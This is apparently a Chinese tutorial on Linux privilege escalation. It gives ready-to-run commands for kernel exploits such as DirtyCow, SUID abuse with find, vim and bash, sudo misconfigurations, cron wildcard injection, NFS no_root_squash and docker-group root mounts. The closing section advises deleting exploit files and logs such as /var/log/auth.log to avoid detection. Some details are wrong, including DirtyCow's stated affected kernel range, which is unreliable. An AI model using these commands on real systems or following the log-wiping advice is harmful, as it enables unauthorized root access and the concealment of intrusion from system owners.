温馨提示×

如何利用Linux Exploit提权

小樊
60
2025-10-07 11:09:12
栏目: 智能运维

Linux Exploit提权方法与实战步骤

Linux系统提权是通过利用系统漏洞、配置错误或权限设计缺陷,从低权限用户(如普通用户)提升至root(最高权限)的过程,是渗透测试或安全研究中的关键环节。以下是常见的提权方法及详细操作步骤:

一、内核漏洞提权(最直接且高危)

内核漏洞提权是利用Linux内核本身的缺陷(如竞争条件、缓冲区溢出等)获取root权限的经典方法,适用于大多数本地提权场景。

1. 常规内核漏洞提权步骤

  • 信息收集:通过uname -a(查看内核版本、架构)、cat /etc/os-release(查看发行版)、cat /etc/issue(查看系统版本)命令,获取目标系统的内核及发行版信息。
  • 搜索漏洞:使用searchsploit工具(Kali Linux自带)搜索对应内核版本的漏洞,例如searchsploit linux 4.4.0(替换为目标内核版本),筛选出可用的本地提权EXP(如CVE编号对应的C文件)。
  • 编译与执行:将下载的EXP上传至目标系统(如通过python3 -m http.server搭建临时HTTP服务器,再用wget下载),使用gcc编译(如gcc exploit.c -o exploit),最后执行./exploit获取root shell。

2. 经典内核漏洞:DirtyCow(CVE-2016-5195)

DirtyCow是Linux内核内存子系统的竞争条件漏洞,影响版本为Linux kernel < 3.9(CentOS 7/RHEL 7及以下、Ubuntu 16.04及以下等),允许低权限用户修改只读内存映射,进而提权。

  • 操作步骤
    ① 下载DirtyCow的EXP(如searchsploit dirtycow找到对应C文件);
    ② 编译EXP(gcc -pthread dirty.c -o dirty -lcrypt);
    ③ 执行EXP(./dirty),成功后会返回root shell。

二、SUID提权(滥用特权程序)

SUID(Set User ID)是Linux的特殊权限,允许用户执行文件时临时获得文件所有者的权限(如root)。若SUID程序存在配置错误或可被滥用,可用来提权。

1. 查找SUID文件

使用以下命令查找系统中所有设置了SUID位的文件(重点关注root所有的程序):
find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

2. 常见可滥用SUID程序及利用方法

  • find命令:通过-exec选项执行任意命令,例如find /tmp -exec /bin/sh -p \; -quit-p参数确保以root权限启动shell)。
  • vim命令:若vim以SUID运行,可通过Python脚本获取root shell,例如vim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
  • bash命令:直接以特权模式运行bash,例如bash -p-p参数忽略环境变量限制)。

三、SUDO提权(配置错误导致)

sudo是允许普通用户以root权限执行命令的工具,若/etc/sudoers文件配置不当(如允许用户无密码执行所有命令),可用来提权。

1. 检查sudo权限

使用sudo -l命令查看当前用户的sudo权限,若输出中包含NOPASSWD:ALL(如test ALL=(ALL:ALL) NOPASSWD:ALL),则表示该用户可无密码执行任意root命令。

2. 利用sudo提权

若存在NOPASSWD:ALL权限,直接执行sudo /bin/bashsudo su -,即可切换至root用户。

四、计划任务(Cron)提权(配置不当)

计划任务(Cron)是系统定期执行的脚本或命令,若任务脚本存在可写权限或通配符注入漏洞,可用来提权。

1. 检查计划任务

使用以下命令查看系统计划任务:
cat /etc/crontab(系统级计划任务)、ls -la /etc/cron*/(用户级计划任务)、crontab -l(当前用户的计划任务)。

2. 常见利用场景

  • 可写脚本:若计划任务执行的脚本(如/etc/cron.daily/test.sh)可写,可向脚本中添加提权命令(如echo 'chmod u+s /bin/bash' >> /etc/cron.daily/test.sh),等待任务执行后获取root权限。
  • 通配符注入:若任务包含通配符(如tar czf /backups/backup.tar.gz *),可通过创建特殊文件(如touch -- '--checkpoint=1 --checkpoint-action=exec=/bin/sh'),触发通配符注入执行任意命令。

五、NFS提权(no_root_squash配置错误)

NFS(网络文件系统)是用于共享文件的服务,若共享目录开启了no_root_squash选项(默认关闭),客户端以root用户访问共享目录时,将拥有root权限。

1. 利用步骤

  • 挂载共享目录:在攻击者机器上创建挂载点(mkdir /tmp/mount),使用mount -t nfs <目标IP>:/共享目录 /tmp/mount挂载目标NFS共享。
  • 创建SUID shell:在挂载目录中创建bash文件并设置SUID位(cp /bin/bash /tmp/mount/shellchmod u+s /tmp/mount/shell)。
  • 提权:在目标系统上执行/tmp/mount/shell -p,即可获取root shell。

六、第三方服务提权(Docker组)

Docker是常用的容器化工具,若当前用户在docker组(可通过id | grep docker检查),可利用Docker挂载根目录并切换至root。

1. 利用步骤

  • 挂载根目录:使用Docker运行容器并挂载目标系统的根目录(docker run -v /:/mnt -it alpine chroot /mnt bash)。
  • 提权:容器内的/mnt即为目标的根目录,执行chroot /mnt bash即可切换至root用户。

注意事项

  • 合法性:提权操作需获得系统所有者授权,未经授权的提权属于违法行为。
  • 痕迹清理:提权后应及时删除EXP、编译产物及日志(如/var/log/auth.log),避免被发现。
  • 权限最小化:日常运维中应遵循“最小权限原则”,避免过度授权(如限制sudo权限、关闭不必要的服务)。

0